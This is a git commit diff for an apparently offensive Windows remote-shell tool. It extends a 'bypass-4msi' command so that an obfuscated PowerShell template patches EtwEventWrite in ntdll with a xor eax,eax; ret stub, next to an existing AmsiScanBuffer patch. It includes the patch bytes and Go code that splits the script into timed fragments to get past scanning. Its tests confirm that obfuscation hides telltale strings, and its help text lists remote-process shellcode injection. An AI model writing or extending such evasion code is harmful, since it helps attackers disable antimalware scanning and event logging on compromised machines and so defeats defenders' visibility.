Add ETW patching to bypass-4msi

Patches EtwEventWrite with a xor eax,eax; ret stub alongside the
existing AmsiScanBuffer patch, using the same VirtualProtect delegate.
Ported from bypass-clm's C# implementation.
This commit is contained in:
SREsAreHumanToo
2026-11-21 11:07:01 -05:00
parent 3445dfb2bf
commit 81630165c3
4 changed files with 31 additions and 16 deletions
@@ -64,6 +64,12 @@ function >><FUNCTION2>>< {
#jump
>><VAR10>>< = [System.Runtime.InteropServices.Marshal]::Copy(>><VAR11>><, 0, >><VAR7>><, 12)
#jump
[IntPtr]>><VAR14>>< = >><FUNCTION1>>< $(""+<><ntdll<><+"") $(""+<><EtwEventWrite<><+"")
>><VAR15>>< = 0
>><VAR10>>< = >><VAR9>><.Invoke(>><VAR14>><, 3, 0x40, [ref]>><VAR15>><)
>><VAR16>>< = [Byte[]] (0x31,0xc0,0xc3)
>><VAR10>>< = [System.Runtime.InteropServices.Marshal]::Copy(>><VAR16>><, 0, >><VAR14>><, 3)
#jump
Remove-Item Function:>><FUNCTION2>><
#jump
Remove-Item Function:>><FUNCTION1>><
+5 -5
View File
@@ -43,8 +43,8 @@ import (
var bypass4MSITemplate string
// bypassVarCount is how many >><VARn>>< placeholders the template carries.
// Upstream's has 12; VAR13 belongs to this port's compatibility fix, below.
const bypassVarCount = 13
// Upstream's has 12; VAR13 is this port's HandleRef fix, VAR14-16 are the ETW patch.
const bypassVarCount = 16
// bypassStepPause matches upstream's 2s wait between steps. The payload is split
// into ten fragments that are run as separate commands, and the pause is part of
@@ -63,7 +63,7 @@ const jumpMarker = "#jump"
func (sh *Shell) bypass4MSI(ctx context.Context, sigs <-chan os.Signal) error {
if sh.amsiPatched {
if !sh.json && !sh.quiet {
fmt.Fprintf(sh.out, "%s AMSI is already patched in this runspace\n", sh.c.Blue("Info:"))
fmt.Fprintf(sh.out, "%s AMSI and ETW are already patched in this runspace\n", sh.c.Blue("Info:"))
}
return nil
}
@@ -115,9 +115,9 @@ func (sh *Shell) bypass4MSI(ctx context.Context, sigs <-chan os.Signal) error {
}
sh.amsiPatched = true
sh.log.Event("[bypass-4msi] AmsiScanBuffer patched")
sh.log.Event("[bypass-4msi] AmsiScanBuffer + EtwEventWrite patched")
if !sh.json && !sh.quiet {
fmt.Fprintf(sh.out, "%s AMSI patched in this runspace\n", sh.c.Blue("Info:"))
fmt.Fprintf(sh.out, "%s AMSI and ETW patched in this runspace\n", sh.c.Blue("Info:"))
}
return nil
}
+19 -10
View File
@@ -17,7 +17,7 @@ func obf(seed int64) string {
func TestObfuscationLeavesNoTelltaleLiterals(t *testing.T) {
for seed := int64(1); seed <= 20; seed++ {
got := obf(seed)
for _, lit := range []string{"amsi.dll", "AmsiScanBuffer", "kernel32.dll", "System.dll"} {
for _, lit := range []string{"amsi.dll", "AmsiScanBuffer", "kernel32.dll", "System.dll", "ntdll", "EtwEventWrite"} {
if strings.Contains(got, lit) {
t.Errorf("seed %d: script still contains the literal %q", seed, lit)
}
@@ -86,7 +86,7 @@ func decodeCharExpr(t *testing.T, expr string) string {
func TestCharExpressionRoundTrips(t *testing.T) {
r := rand.New(rand.NewSource(3))
for _, s := range []string{"amsi.dll", "AmsiScanBuffer", "kernel32.dll", `\`, "System.dll", "MyDelegateType"} {
for _, s := range []string{"amsi.dll", "AmsiScanBuffer", "kernel32.dll", `\`, "System.dll", "MyDelegateType", "ntdll", "EtwEventWrite"} {
for i := 0; i < 40; i++ { // many draws: the encoding picks a form at random
expr := charExpression(s, r)
if got := decodeCharExpr(t, expr); got != s {
@@ -111,12 +111,21 @@ func TestCharExpressionHandlesHighBytes(t *testing.T) {
// The payload's own bytes must survive verbatim: this is the stub written over
// AmsiScanBuffer's prologue, and a corrupted one would be executed.
func TestPatchBytesAreUnchanged(t *testing.T) {
const patch = "0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3"
if !strings.Contains(bypass4MSITemplate, patch) {
t.Fatal("the template no longer carries upstream's patch bytes")
}
if !strings.Contains(obf(5), patch) {
t.Error("obfuscation altered the patch bytes")
for _, tc := range []struct {
name string
patch string
}{
{"AMSI", "0xb8,0x34,0x12,0x07,0x80,0x66,0xb8,0x32,0x00,0xb0,0x57,0xc3"},
{"ETW", "0x31,0xc0,0xc3"},
} {
t.Run(tc.name, func(t *testing.T) {
if !strings.Contains(bypass4MSITemplate, tc.patch) {
t.Fatalf("the template no longer carries %s patch bytes", tc.name)
}
if !strings.Contains(obf(5), tc.patch) {
t.Errorf("obfuscation altered the %s patch bytes", tc.name)
}
})
}
}
@@ -124,8 +133,8 @@ func TestPatchBytesAreUnchanged(t *testing.T) {
// would put the whole patch in a single scanned block.
func TestTemplateSplitsIntoSteps(t *testing.T) {
steps := strings.Split(obf(9), jumpMarker)
if len(steps) != 10 {
t.Errorf("got %d steps, want 10 (upstream's split)", len(steps))
if len(steps) != 11 {
t.Errorf("got %d steps, want 11 (upstream's split + ETW patch)", len(steps))
}
for i, s := range steps {
if strings.TrimSpace(s) == "" {
+1 -1
View File
@@ -774,7 +774,7 @@ Working now:
a bare name resolves against -e/--executables)
donut-loader -process_id <pid> -donutfile <local .bin>
inject local donut shellcode into a remote process (x64 only)
bypass-4msi patch AmsiScanBuffer in this runspace (noisy; do it last)
bypass-4msi patch AmsiScanBuffer + EtwEventWrite (noisy; do it last)
<name>.ps1 load that script from the -s directory into the session
menu list the functions loaded from your scripts
services list non-system services, paths, and your access (privesc recon)